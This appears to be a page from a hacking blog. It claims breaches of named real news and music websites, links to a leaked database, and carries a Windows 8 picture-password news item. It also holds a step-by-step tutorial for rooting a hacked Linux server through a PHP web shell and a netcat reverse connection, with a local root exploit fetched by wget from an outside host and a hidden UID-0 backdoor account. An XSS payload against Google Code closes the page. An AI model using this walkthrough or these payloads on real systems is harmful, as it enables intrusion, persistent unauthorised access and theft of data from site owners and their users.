www.newvision.co.ug Hacked by Rwandan Hackers

www.newvision.co.ug was Hacked by Rwandan hackers.They hacked into the database of the website and exposed sensitive information like admin details and many more.
 Database info :

www.sevenseasmusic.fr Hacked by Rwandan hackers

www.sevenseasmusic.fr
Rwandan Hackers found SQL-i vulnerability on www.sevenseasmusic.fr. According to him there are non-persistence XSS vulnerability and also SQL-i vulnerability.
Using the vulnerability an attacker can exploit the entire database and gain illegal access
Vulnerable Website
ADMIN INFO :

 

I apologize for people who want to download his mixtape

Microsoft Introduced Picture Passwords For Windows 8

 

The experience of signing in to your PC with touch has traditionally been a cumbersome one. In a world with increasingly strict password requirements—with numbers, symbols, and capitalization—it can take upwards of 30 seconds to enter a long, complex password on a touch keyboard. To get rid of all these stuffs Microsoft is introducing a new technology. Using that you can login ti your Windows 8 PC with a picture password. Likely designed for touchscreens, users are prompted with a familiar picture of their choice and asked to make a series of finger gestures on the screen to setup password protection. Microsoft recommends that users pick at least three gestures and can choose between a circle, a tap and a line drawn between two points. When a user logs into a Windows 8 machine using Picture Password, they simply have to replicate the correct placement, order and direction of all gestures.

Microsoft dictates the set of three different gestures after research showed that login time was cut from 17 seconds using free form gestures to 4 seconds using preset gestures. Users don’t have to be 100 percent accurate with the placement of the gestures as the image is broken up into a grid and the combination of replicating the three gestures is assigned a percentage score each time the login process is attempted through an algorithm. If the score is 90 percent or above, the user gains access to the system. Microsoft also outlined how security is increased with the Picture Password method. For instance, if a user creates a six-character text password with at least one uppercase letter and one number, there would be 7 billion combinations available. However, if a user creates a picture password with six gestures using only taps, that number increases to 1.3 trillion combinations. Even further, reducing the amount of gestures to five and including at least one circle and one line gesture within the group increases the number of combinations to approximately 70 trillion. The Windows engineering team has just started building the Picture Password functionality and hopes to include it within the final version of Windows 8 likely released during 2012.
You can find more information about this article on the Windows 8 Developer Blog

Server Rooting Tutorial and Adding New Root User

welcome to a tutorial on how to root a linux server.
This is going to be short,HQ tutorial with pictures included (For better learining)


So let's start with things you will need:

• 1) Shelled website
• 2) Local root exploit
• 3) NetCat

Chapter 1 - Gathering informations


Open up your .php shell on a hacked webserver.
I have mine for an example




Now you need to check what kernel your slave is using...
It should be something like 


Linux somerandomhosting.com 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686


Next thing you wanna do is to look for an local root exploit.
From example provided mine one is 2.6.18-8.el5 #1 SMP Fri Jan 26 14:15:21 EST 2007 i686.


Here's the list of exploits
http://pastebin.com/A0sUhhrz

NOTE: If your webserver have 2.6.18 2011 kernel,then you have 0.0001% chances that you will root it,because there's no public exploit for that version.


Chapter 2 - Backconnecting to the server
For this you will need:


1) NetCat
2) Open port (Example. 443 I won't teach how to port forward,use Google if you don't know how!!)


So open your netcat and type:
-l -n -v -p 443
Hit "Enter"


Now it should write "listening on [any] 443 ..."
Good.
Go back to your shell and go to "BackConnect function"
Many shells have it.
Enter your port and press "Connect".



Now it should connect to your netcat 
I got something like this


Chapter 3 - Downloading exploit and executing it
Now we will need our exploit from Chapter 1
There's 2 way of uploading:

1) Using shell uploader
2) Using 'wget' function (Requires backconnection)

I'm going to use 'wget' function because it's easier and faster.
So copy your exploit link (Mine one http://localroot.th3-0utl4ws.com/xploits...8-164.zip) and go back to your netcat and type:

Now it downloaded out exploit named "2.6.18-164.zip" on our server.

If your exploit is downloaded as anyrandomname.c you must compile it

Do do that first download that exploit and then type:

gcc anyrandomname.c -o anyrandomname

And our exploit is compiled. (If you get errors when compiling then find another exploit)

If you downloaded your exploit in zip file anyrandomname.zip type:

unzip anyrandomname.zip


Now you should have your exploit (Like mine "2.6.18-164")

If you completed all steps it's time to get root.

Type:

chmod 777 yourexploit'sname
With common sense where i typed "yourexploit'sname" you will type your exploit's name.

And one last final step is to run our exploit
./yourexploit'sname


To check if you got root type

id
or
whoami

Mine steps to root


Chapter 4 - Adding root user
Adding new root user is fairly easy
We use this command:
adduser -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M root2

Command explanations:
Quote:adduser - Using Linux adduser command to create a new user account or to update default new user information.

-u 0 -o - Set the value of user id to 0.

-g 0 - Set the initial group number or name to 0

-G 0,1,2,3,4,6,10 - Set supplementary group to:
0 = root
1 = bin
2 = daemon
3 = sys
4 = adm
6 = disk
10 = wheel

-M - 'home directory' not created for the user.

root2 - User name of the new user account.NOTE: Change root2 to your desired username.

Now you need to set a password for your username.
Type in next:
passwd Root2

(Root2 is your username)

See an example

[root@fedora ~]# passwd root2
Changing password for user root2.
New UNIX password:
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

To check if you did alright

id root2
(Root2 is your username)


GNY shell - http://privatepaste.com/1321f97984
Google - http://google.com
NetCat - http://downloadnetcat.com/nc11nt.zip

So that concluded our rooting tutorial.
I hope that someone will learn from this and that this thread will be bookmarked for generations

Newtimes Database Compromised

Rwandan Hackers found multiple vulnerability on new times.The database has been hacked and exposed by Rwandan hackers
on pastebin.
Database link:http://pastebin.com/8uqsc6FC

XSS Vulnerability in Google Code site

XSS (Cross site Scripting)Vulnerability discovered in Google Code website
Proof Of Concept: Just go to http://code.google.com/apis/ajax/playground/ and then click on edit HTML after that remove all the codes and type this script : <img src="<img src=search"/onerror=alert("XSS")//"> and click on DEBUG CODE, and then first it will show you "Sample must have <head> element" click OK and wait for the window to load if nothing happen then try the same thing again or simply you can click on RUN CODE, and you will get a popup which is XSS.

Another Similar XSS posted by +Pirate, as posted on HackForum Community.